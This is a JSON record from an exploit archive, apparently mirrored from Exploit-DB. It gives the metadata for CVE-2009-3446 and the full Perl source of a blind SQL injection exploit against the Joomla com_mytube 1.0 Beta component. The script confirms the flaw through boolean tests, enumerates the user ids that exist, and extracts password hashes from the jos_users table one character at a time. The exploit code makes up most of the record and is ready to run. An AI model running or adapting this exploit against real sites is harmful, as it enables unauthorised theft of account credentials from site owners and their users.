{"exploit":{"id":"EDB-9733","name":"Joomla! Component com_mytube (user_id) 1.0 Beta - Blind SQL Injection (SQLi)","description":"Joomla! Component com_mytube (user_id) 1.0 Beta - Blind SQL Injection (SQLi)","cves":["CVE-2009-3446"],"author":"Chip d3 bi0s","published":"2009-09-21","platform":"multiple","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9733","path":"exploits/multiple/webapps/9733.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9733.pl","vulnerabilities":[{"id":"CVE-2009-3446","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in the MyRemote Video Gallery (com_mytube) component 1.0 Beta for Joomla! allows remote attackers to execute arbitrary SQL commands via the user_id parameter in a videos action to index.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3446","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3446"},"updatedAt":"2024-08-07T06:31:10.158Z","retrievedAt":"2026-11-27T01:25:25.434Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9733.png?v=2","url":"https://exploitbin.com/exploits/EDB-9733","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9733/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9733/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl -w\n\n#---------------------------------------------------------------------------------\n#joomla component com_mytube (user_id) Blind SQL Injection Vulnerability\n#---------------------------------------------------------------------------------\n\n#Author         : Chip D3 Bi0s\n#Group          : LatiHackTeam\n#Email          : chipdebios[alt+64]gmail.com\n#Date           : 15 September 2009\n#Critical Lvl   : Moderate\n#Impact\t        : Exposure of sensitive information\n#Where\t        : From Remote\n#---------------------------------------------------------------------------\n\n#Affected software description:\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n#Application   : MyRemote Video Gallery\n#version       : 1.0 Beta\n#Developer     : Jomtube Team\n#License       : GPL            type  : Non-Commercial\n#Date Added    : Aug 24, 2009\n#Download      : http://joomlacode.org/gf/download/frsrelease/10834/42943/com_mytube_1.0.0_2009.08.02.zip\n#Description   :\n\n#MyRemote Video Gallery is the most Powerful Video Extension made for Joomla 1.5x\n#which will allow you to transform your Website into a professional looking Video\n#Gallery with functionality that is similar to YouTube.com. MyRemote Video Gallery\n#is an open source (GNU GPL) video sharing Joomla extension has been created\n#specifically for the Joomla 1.5x (MVC) Framework and can not be used without Joomla.\n\n#MyRemote Video Gallery gives you the option to Embed Videos from Youtube and offers\n#the Framework so you can create your own Remote Plugins for other Remote Servers like\n#Dailymotion, Google Video, Vimeo, Blip.tv, Clipser, Revver, a which will allow you to\n#run your site for low cost since all the bandwidth usage and hard drive space is located\n#on the video server sites. So if you already have a large library of Videos on some\n#Remote Sites like Youtube.com you can build the Video Part of your Site Very Quickly.\n\n#---------------------------------------------------------------------------\n\n\n#I.Blind SQL injection (user_id)\n#Poc/Exploit:\n#~~~~~~~~~~~\n#http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=X[blind]&option=com_mytube&Itemid=null\n#X: Valid User_id\n\n#+++++++++++++++++++++++++++++++++++++++\n#[!] Produced in South America\n#+++++++++++++++++++++++++++++++++++++++\n\n\nuse LWP::UserAgent;\nuse Benchmark;\nmy $t1 = new Benchmark;\n\nsystem ('cls');\nprint \"\\n\\n\";\nprint \"\\t\\t[+] ---------------------------------[+]\\n\";\nprint \"\\t\\t|          |  Chip d3 Bi0s |          |\\n\";\nprint \"\\t\\t|        MyRemote Video Gallery Bsql  | \\n\";\nprint \"\\t\\t|joomla component com_mytube (user_id)| \\n\";\nprint \"\\t\\t[+]----------------------------------[+]\\n\\n\";\n\n\nprint \"http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=62:\\n\";chomp(my $target=<STDIN>);\n\n$w=\"Total Videos In Category\";\n$column_name=\"concat(password)\";\n$table_name=\"jos_users\";\n\n\n$b = LWP::UserAgent->new() or die \"Could not initialize browser\\n\";\n$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');\n\nprint \"----------------Inyectando----------------\\n\";\n\n\n  $host = $target . \"+and+1=1&option=com_mytube&Itemid=null\";\n  my $res = $b->request(HTTP::Request->new(GET=>$host));  my $content = $res->content;  my $regexp = $w;\n  if ($content =~ /$regexp/) {\n\n$host = $target . \"+and+1=2&option=com_mytube&Itemid=null\";\n  my $res = $b->request(HTTP::Request->new(GET=>$host));  my $content = $res->content;  my $regexp = $w;\n  if ($content =~ /$regexp/) {print \" [-] Exploit Fallo :(\\n\";}\n\nelse\n\n{print \" [-] Vulnerable :)\\n\";\n\n$d=0;\n\n\nfor ($idusuario=62;$idusuario<=80;$idusuario++)\n\n{\n\n $host = $target . \"+and+ascii(substring((SELECT+\".$column_name.\"+from+\".$table_name.\"+where+id=\".$idusuario.\"+limit+0,1),1,1))>0&option=com_mytube&Itemid=null\";\n my $res = $b->request(HTTP::Request->new(GET=>$host));\n my $content = $res->content;\n my $regexp = $w;\n if ($content =~ /$regexp/) {$idusu[$d]=$idusuario;$d=$d+1}\n\n }\n\n print \" [+] Usuario existentes : \".\" \".join(',', @idusu) . \"\\n\";\n\nprint  \" [-] # Usuario que desea extraer : \";chomp($iduss=<STDIN>);\n\nfor ($x=1;$x<=32;$x++)\n\t{\n\n  $host = $target . \"+and+ascii(substring((SELECT+\".$column_name.\"+from+\".$table_name.\"+where+id=\".$iduss.\"+limit+0,1),\".$x.\",1))>57&option=com_mytube&Itemid=null\";\n  my $res = $b->request(HTTP::Request->new(GET=>$host));  my $content = $res->content;  my $regexp = $w;\n  print \" [!] \";if($x <= 9 ) {print \"0$x\";}else{print $x;}\n  if ($content =~ /$regexp/)\n  {\n\n          for ($c=97;$c<=102;$c++)\n\n{\n $host = $target . \"+and+ascii(substring((SELECT+\".$column_name.\"+from+\".$table_name.\"+where+id=\".$iduss.\"+limit+0,1),\".$x.\",1))=\".$c.\"&option=com_mytube&Itemid=null\";\n my $res = $b->request(HTTP::Request->new(GET=>$host));\n my $content = $res->content;\n my $regexp = $w;\n\n\n if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print \"-Caracter: $char\\n\"; $c=102;}\n }\n\n\n  }\nelse\n{\n\nfor ($c=48;$c<=57;$c++)\n\n{\n $host = $target . \"+and+ascii(substring((SELECT+\".$column_name.\"+from+\".$table_name.\"+where+id=\".$iduss.\"+limit+0,1),\".$x.\",1))=\".$c.\"&option=com_mytube&Itemid=null\";\n my $res = $b->request(HTTP::Request->new(GET=>$host));\n my $content = $res->content;\n my $regexp = $w;\n\n if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print \"-Caracter: $char\\n\"; $c=57;}\n }\n\n\n}\n\n\t}\n\nprint \" [+] Password   :\".\" \".join('', @caracter) . \"\\n\";\n\nmy $t2 = new Benchmark;\nmy $tt = timediff($t2, $t1);\nprint \"El script tomo:\",timestr($tt),\"\\n\";\n\n}\n}\n\nelse\n\n{print \" [-] Exploit Fallo :(\\n\";}\n\n# milw0rm.com [2009-09-21]","sha256":"c67dbf7997d0426a69ed658e6e825f0dac8a91e622c6de474af050dd17bc165b","bytes":5498,"fetchedAt":"2026-11-27T01:11:00.411Z","encoding":"utf-8 (display only; download retains original bytes)"}